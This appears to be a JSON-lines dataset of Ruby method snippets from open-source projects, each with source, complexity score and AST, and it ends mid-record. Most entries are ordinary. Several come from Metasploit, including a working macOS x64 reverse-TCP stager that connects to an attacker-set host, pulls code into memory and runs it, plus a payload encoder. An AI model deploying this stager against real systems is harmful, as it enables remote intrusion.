{"repo_name":"rails","file_path":"./repos/rails/railties/test/rack_logger_test.rb","start_line":40,"raw_source":"def start(name, id, payload)\n          starts << [name, id, payload]\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"start\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"id\"]},{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"starts\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]}","id":"95e943e2-682a-4cfb-ba7f-fa44b9f28214"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/api.rb","start_line":723,"raw_source":"def pop_each\n      Sidekiq.redis do |c|\n        size.times do\n          data, score = c.zpopmin(name, 1)&.first\n          break unless data\n          yield data, score\n        end\n      end\n    end","complexity_score":17.15,"ast_json":"{\"type\":\"def\",\"children\":[\"pop_each\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"redis\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"size\"]},\"times\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\"]},{\"type\":\"lvasgn\",\"children\":[\"score\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"zpopmin\",{\"type\":\"send\",\"children\":[null,\"name\"]},{\"type\":\"int\",\"children\":[1]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},null,{\"type\":\"break\",\"children\":[]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"score\"]}]}]}]}]}]}","id":"37cd3ff0-c37e-45be-be59-d8addb4ea483"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/search_service.rb","start_line":36,"raw_source":"def global_search?\n    project.blank? && group.blank?\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"global_search?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"blank?\"]}]}]}","id":"bdc4d6e6-30d4-4abd-8f47-f2486f64ea38"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/pdf/components/wp_table.rb","start_line":107,"raw_source":"def transform_list_custom_field_keys(custom_field, groups)\n    groups.transform_keys do |key|\n      if custom_field.multi_value?\n        transform_multi_list_custom_field_key(key)\n      else\n        key&.value\n      end\n    end\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"transform_list_custom_field_keys\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"custom_field\"]},{\"type\":\"arg\",\"children\":[\"groups\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"groups\"]},\"transform_keys\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_field\"]},\"multi_value?\"]},{\"type\":\"send\",\"children\":[null,\"transform_multi_list_custom_field_key\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"value\"]}]}]}]}","id":"6722a26c-0068-46cb-8fce-5db8f81649bb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/lucee_admin_imgprocess_file_write.rb","start_line":184,"raw_source":"def cfml_uri\n    normalize_uri(target_uri.path, cfml_filename)\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"cfml_uri\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"send\",\"children\":[null,\"cfml_filename\"]}]}]}","id":"3dd1ba2f-2a0e-4d4b-9003-54cba9cdce15"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb","start_line":39,"raw_source":"def has_command?(name)\n        self.method_defined?(\"cmd_#{name}\")\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"has_command?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"method_defined?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cmd_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]}","id":"76891c7f-70ea-4af6-8025-5c410acee4d6"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/new_post_manager.rb","start_line":45,"raw_source":"def self.is_fast_typer?(manager)\n    args = manager.args\n\n    is_first_post?(manager) &&\n      args[:typing_duration_msecs].to_i <\n        FAST_TYPING_THRESHOLD_MAP[SiteSetting.fast_typing_threshold.to_sym] &&\n      SiteSetting.auto_silence_fast_typers_on_first_post &&\n      manager.user.trust_level <= SiteSetting.auto_silence_fast_typers_max_trust_level\n  end","complexity_score":22.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"is_fast_typer?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"manager\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"manager\"]},\"args\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_first_post?\",{\"type\":\"lvar\",\"children\":[\"manager\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"typing_duration_msecs\"]}]},\"to_i\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FAST_TYPING_THRESHOLD_MAP\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"fast_typing_threshold\"]},\"to_sym\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"auto_silence_fast_typers_on_first_post\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"manager\"]},\"user\"]},\"trust_level\"]},\"<=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"auto_silence_fast_typers_max_trust_level\"]}]}]}]}]}","id":"f6a0449b-a914-49cf-ac4c-9319e39568ed"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/admin/topics_controller.rb","start_line":11,"raw_source":"def index\n    @topics = Projects::TopicsFinder.new(\n      params: params.permit(:search),\n      organization_id: organization_id\n    ).execute.page(pagination_params[:page]).without_count\n  end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@topics\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Projects\"]},\"TopicsFinder\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"search\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"organization_id\"]},{\"type\":\"send\",\"children\":[null,\"organization_id\"]}]}]}]},\"execute\"]},\"page\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pagination_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page\"]}]}]},\"without_count\"]}]}]}","id":"b85ddca8-4b1d-403d-992e-2130c06df0bb"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/order.rb","start_line":673,"raw_source":"def apply_free_shipping_promotions\n      Spree::PromotionHandler::FreeShipping.new(self).activate\n      shipments.each { |shipment| Spree::Adjustable::AdjustmentsUpdater.update(shipment) }\n      create_shipment_tax_charge!\n      update_with_updater!\n    end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"apply_free_shipping_promotions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"PromotionHandler\"]},\"FreeShipping\"]},\"new\",{\"type\":\"self\",\"children\":[]}]},\"activate\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shipments\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"shipment\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Adjustable\"]},\"AdjustmentsUpdater\"]},\"update\",{\"type\":\"lvar\",\"children\":[\"shipment\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_shipment_tax_charge!\"]},{\"type\":\"send\",\"children\":[null,\"update_with_updater!\"]}]}]}","id":"cfb94f91-b698-440e-907b-af57c92c0087"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/mail_room.rb","start_line":136,"raw_source":"def application_secrets_file\n        ENV['MAIL_ROOM_GITLAB_SECRETS_FILE'] || File.expand_path('../../config/secrets.yml', __dir__)\n      end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"application_secrets_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"MAIL_ROOM_GITLAB_SECRETS_FILE\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"../../config/secrets.yml\"]},{\"type\":\"send\",\"children\":[null,\"__dir__\"]}]}]}]}","id":"6a659e2f-9477-44d7-8672-1b34f235303c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/osx/x64/reverse_tcp_x64.rb","start_line":34,"raw_source":"def generate_reverse_tcp(opts={})\n    encoded_port = \"%.8x\" % [datastore['LPORT'].to_i,2].pack(\"vv\").unpack(\"N\").first\n    encoded_host = \"%.8x\" % Rex::Socket.addr_aton(datastore['LHOST']||\"127.127.127.127\").unpack(\"V\").first\n    retry_count = datastore['StagerRetryCount']\n    seconds = datastore['StagerRetryWait']\n    sleep_seconds = seconds.to_i\n    sleep_nanoseconds = (seconds % 1 * 1000000000).to_i\n\n    stager_asm = %(\n    ; mmap(0x0, 0x1000, 0x7, 0x1002, 0x0, 0x0)\n    push 0\n    pop rdi\n    push 0x1000\n    pop rsi\n    push 7\n    pop rdx\n    push 0x1002\n    pop r10\n    push 0\n    pop r8\n    push 0\n    pop r9\n    push 0x20000c5\n    pop rax\n    syscall\n    jb failed\n\n    mov r12, rax\n    push 0\n    pop r10\n    push #{retry_count}\n    pop r11\n\n  socket:\n    ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP);\n    push    2\n    pop     rdi              ; rdi=AF_INET\n    push    1\n    pop     rsi              ; rsi=SOCK_STREAM\n    push    0\n    pop     rdx              ; rdx=IPPROTO_IP\n    push    0x2000061\n    pop     rax\n    syscall\n    jb retry\n\n    ; connect (sockfd, {AF_INET,4444,127.0.0.1}, 16);\n    mov     rdi, rax\n    mov     rax, 0x#{encoded_host}#{encoded_port}\n    push    rax\n    push    rsp\n    pop     rsi\n    push    16\n    pop     rdx\n    push    0x2000062\n    pop     rax\n    syscall\n    jb retry\n\n#{asm_send_uuid if include_send_uuid}\n\n    ; recvfrom(sockfd, addr, 0x1000)\n    mov rsi, r12\n    push 0x1000\n    pop rdx\n    push 0x200001d\n    pop rax\n    syscall\n    jb retry\n\n    call r12\n\n  retry:\n    dec r11\n    jz failed\n\n    push 0\n    pop rdi\n    push 0\n    pop rsi\n    push 0\n    pop rdx\n    push 0\n    pop r10\n    push   0x#{sleep_nanoseconds.to_s(16)}\n    push   0x#{sleep_seconds.to_s(16)}\n    push rsp\n    pop r8\n    push 0x200005d\n    pop rax\n    syscall\n    jmp socket\n\n  failed:\n    push   0x2000001\n    pop    rax\n    push   0x1\n    pop    rdi\n    syscall ; exit(1)\n    )\n\n    Metasm::Shellcode.assemble(Metasm::X64.new, stager_asm).encode_string\n  end","complexity_score":49.7,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_reverse_tcp\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"encoded_port\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%.8x\"]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LPORT\"]}]},\"to_i\"]},{\"type\":\"int\",\"children\":[2]}]},\"pack\",{\"type\":\"str\",\"children\":[\"vv\"]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"N\"]}]},\"first\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"encoded_host\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%.8x\"]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"addr_aton\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LHOST\"]}]},{\"type\":\"str\",\"children\":[\"127.127.127.127\"]}]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"V\"]}]},\"first\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"retry_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"StagerRetryCount\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"seconds\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"StagerRetryWait\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sleep_seconds\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"seconds\"]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sleep_nanoseconds\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"seconds\"]},\"%\",{\"type\":\"int\",\"children\":[1]}]},\"*\",{\"type\":\"int\",\"children\":[1000000000]}]}]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"stager_asm\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    ; mmap(0x0, 0x1000, 0x7, 0x1002, 0x0, 0x0)\\n\"]},{\"type\":\"str\",\"children\":[\"    push 0\\n\"]},{\"type\":\"str\",\"children\":[\"    pop rdi\\n\"]},{\"type\":\"str\",\"children\":[\"    push 0x1000\\n\"]},{\"type\":\"str\",\"children\":[\"    pop rsi\\n\"]},{\"type\":\"str\",\"children\":[\"    push 7\\n\"]},{\"type\":\"str\",\"children\":[\"    pop rdx\\n\"]},{\"type\":\"str\",\"children\":[\"    push 0x1002\\n\"]},{\"type\":\"str\",\"children\":[\"    pop r10\\n\"]},{\"type\":\"str\",\"children\":[\"    push 0\\n\"]},{\"type\":\"str\",\"children\":[\"    pop r8\\n\"]},{\"type\":\"str\",\"children\":[\"    push 0\\n\"]},{\"type\":\"str\",\"children\":[\"    pop r9\\n\"]},{\"type\":\"str\",\"children\":[\"    push 0x20000c5\\n\"]},{\"type\":\"str\",\"children\":[\"    pop rax\\n\"]},{\"type\":\"str\",\"children\":[\"    syscall\\n\"]},{\"type\":\"str\",\"children\":[\"    jb failed\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    mov r12, rax\\n\"]},{\"type\":\"str\",\"children\":[\"    push 0\\n\"]},{\"type\":\"str\",\"children\":[\"    pop r10\\n\"]},{\"type\":\"str\",\"children\":[\"    push \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"retry_count\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    pop r11\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  socket:\\n\"]},{\"type\":\"str\",\"children\":[\"    ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP);\\n\"]},{\"type\":\"str\",\"children\":[\"    push    2\\n\"]},{\"type\":\"str\",\"children\":[\"    pop     rdi              ; rdi=AF_INET\\n\"]},{\"type\":\"str\",\"children\":[\"    push    1\\n\"]},{\"type\":\"str\",\"children\":[\"    pop     rsi              ; rsi=SOCK_STREAM\\n\"]},{\"type\":\"str\",\"children\":[\"    push    0\\n\"]},{\"type\":\"str\",\"children\":[\"    pop     rdx              ; rdx=IPPROTO_IP\\n\"]},{\"type\":\"str\",\"children\":[\"    push    0x2000061\\n\"]},{\"type\":\"str\",\"children\":[\"    pop     rax\\n\"]},{\"type\":\"str\",\"children\":[\"    syscall\\n\"]},{\"type\":\"str\",\"children\":[\"    jb retry\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    ; connect (sockfd, {AF_INET,4444,127.0.0.1}, 16);\\n\"]},{\"type\":\"str\",\"children\":[\"    mov     rdi, rax\\n\"]},{\"type\":\"str\",\"children\":[\"    mov     rax, 0x\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encoded_host\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encoded_port\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    push    rax\\n\"]},{\"type\":\"str\",\"children\":[\"    push    rsp\\n\"]},{\"type\":\"str\",\"children\":[\"    pop     rsi\\n\"]},{\"type\":\"str\",\"children\":[\"    push    16\\n\"]},{\"type\":\"str\",\"children\":[\"    pop     rdx\\n\"]},{\"type\":\"str\",\"children\":[\"    push    0x2000062\\n\"]},{\"type\":\"str\",\"children\":[\"    pop     rax\\n\"]},{\"type\":\"str\",\"children\":[\"    syscall\\n\"]},{\"type\":\"str\",\"children\":[\"    jb retry\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"include_send_uuid\"]},{\"type\":\"send\",\"children\":[null,\"asm_send_uuid\"]},null]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    ; recvfrom(sockfd, addr, 0x1000)\\n\"]},{\"type\":\"str\",\"children\":[\"    mov rsi, r12\\n\"]},{\"type\":\"str\",\"children\":[\"    push 0x1000\\n\"]},{\"type\":\"str\",\"children\":[\"    pop rdx\\n\"]},{\"type\":\"str\",\"children\":[\"    push 0x200001d\\n\"]},{\"type\":\"str\",\"children\":[\"    pop rax\\n\"]},{\"type\":\"str\",\"children\":[\"    syscall\\n\"]},{\"type\":\"str\",\"children\":[\"    jb retry\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    call r12\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  retry:\\n\"]},{\"type\":\"str\",\"children\":[\"    dec r11\\n\"]},{\"type\":\"str\",\"children\":[\"    jz failed\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    push 0\\n\"]},{\"type\":\"str\",\"children\":[\"    pop rdi\\n\"]},{\"type\":\"str\",\"children\":[\"    push 0\\n\"]},{\"type\":\"str\",\"children\":[\"    pop rsi\\n\"]},{\"type\":\"str\",\"children\":[\"    push 0\\n\"]},{\"type\":\"str\",\"children\":[\"    pop rdx\\n\"]},{\"type\":\"str\",\"children\":[\"    push 0\\n\"]},{\"type\":\"str\",\"children\":[\"    pop r10\\n\"]},{\"type\":\"str\",\"children\":[\"    push   0x\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sleep_nanoseconds\"]},\"to_s\",{\"type\":\"int\",\"children\":[16]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    push   0x\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sleep_seconds\"]},\"to_s\",{\"type\":\"int\",\"children\":[16]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    push rsp\\n\"]},{\"type\":\"str\",\"children\":[\"    pop r8\\n\"]},{\"type\":\"str\",\"children\":[\"    push 0x200005d\\n\"]},{\"type\":\"str\",\"children\":[\"    pop rax\\n\"]},{\"type\":\"str\",\"children\":[\"    syscall\\n\"]},{\"type\":\"str\",\"children\":[\"    jmp socket\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  failed:\\n\"]},{\"type\":\"str\",\"children\":[\"    push   0x2000001\\n\"]},{\"type\":\"str\",\"children\":[\"    pop    rax\\n\"]},{\"type\":\"str\",\"children\":[\"    push   0x1\\n\"]},{\"type\":\"str\",\"children\":[\"    pop    rdi\\n\"]},{\"type\":\"str\",\"children\":[\"    syscall ; exit(1)\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasm\"]},\"Shellcode\"]},\"assemble\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasm\"]},\"X64\"]},\"new\"]},{\"type\":\"lvar\",\"children\":[\"stager_asm\"]}]},\"encode_string\"]}]}]}","id":"ad05bc1d-25e3-44c9-b371-2896a4aa54ae"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/encoder.rb","start_line":248,"raw_source":"def encode(buf, badchars = nil, state = nil, platform = nil)\n\n    # Configure platform hints if necessary\n    init_platform(platform) if platform\n\n    # Initialize an empty set of bad characters\n    badchars = '' if (!badchars)\n\n    # Initialize the encoding state and key as necessary\n    if (state == nil)\n      state = EncoderState.new\n    end\n\n    # Prepend data to the buffer as necessary\n    buf = prepend_buf + buf\n\n    init_state(state)\n\n    # Save the buffer in the encoding state\n    state.badchars = badchars || ''\n    state.buf      = buf\n\n    # If this encoder is key-based and we don't already have a key, find one\n    if ((decoder_key_size) and\n        (state.key == nil))\n      # Find a key that doesn't contain and won't generate any bad\n      # characters\n      state.init_key(obtain_key(buf, badchars, state))\n\n      if (state.key == nil)\n        raise NoKeyError, \"A key could not be found for the #{self.name} encoder.\", caller\n      end\n    end\n\n    # Reset the encoded buffer at this point since it may have been changed\n    # while finding a key.\n    state.encoded = ''\n\n    # Call encode_begin to do any encoder specific pre-processing\n    encode_begin(state)\n\n    # Perform the actual encoding operation with the determined state\n    do_encode(state)\n\n    # Call encoded_end to do any encoder specific post-processing\n    encode_end(state)\n\n    if arch?(ARCH_CMD)\n      dlog(\"#{self.name} result: #{state.encoded}\")\n    end\n\n    # Return the encoded buffer to the caller\n    return state.encoded\n  end","complexity_score":46.5,"ast_json":"{\"type\":\"def\",\"children\":[\"encode\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"buf\"]},{\"type\":\"optarg\",\"children\":[\"badchars\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"state\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"platform\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"platform\"]},{\"type\":\"send\",\"children\":[null,\"init_platform\",{\"type\":\"lvar\",\"children\":[\"platform\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"badchars\"]},\"!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"badchars\",{\"type\":\"str\",\"children\":[\"\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"==\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"state\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EncoderState\"]},\"new\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"buf\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"prepend_buf\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"buf\"]}]}]},{\"type\":\"send\",\"children\":[null,\"init_state\",{\"type\":\"lvar\",\"children\":[\"state\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"badchars=\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"badchars\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"buf=\",{\"type\":\"lvar\",\"children\":[\"buf\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"decoder_key_size\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"key\"]},\"==\",{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"init_key\",{\"type\":\"send\",\"children\":[null,\"obtain_key\",{\"type\":\"lvar\",\"children\":[\"buf\"]},{\"type\":\"lvar\",\"children\":[\"badchars\"]},{\"type\":\"lvar\",\"children\":[\"state\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"key\"]},\"==\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NoKeyError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"A key could not be found for the \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" 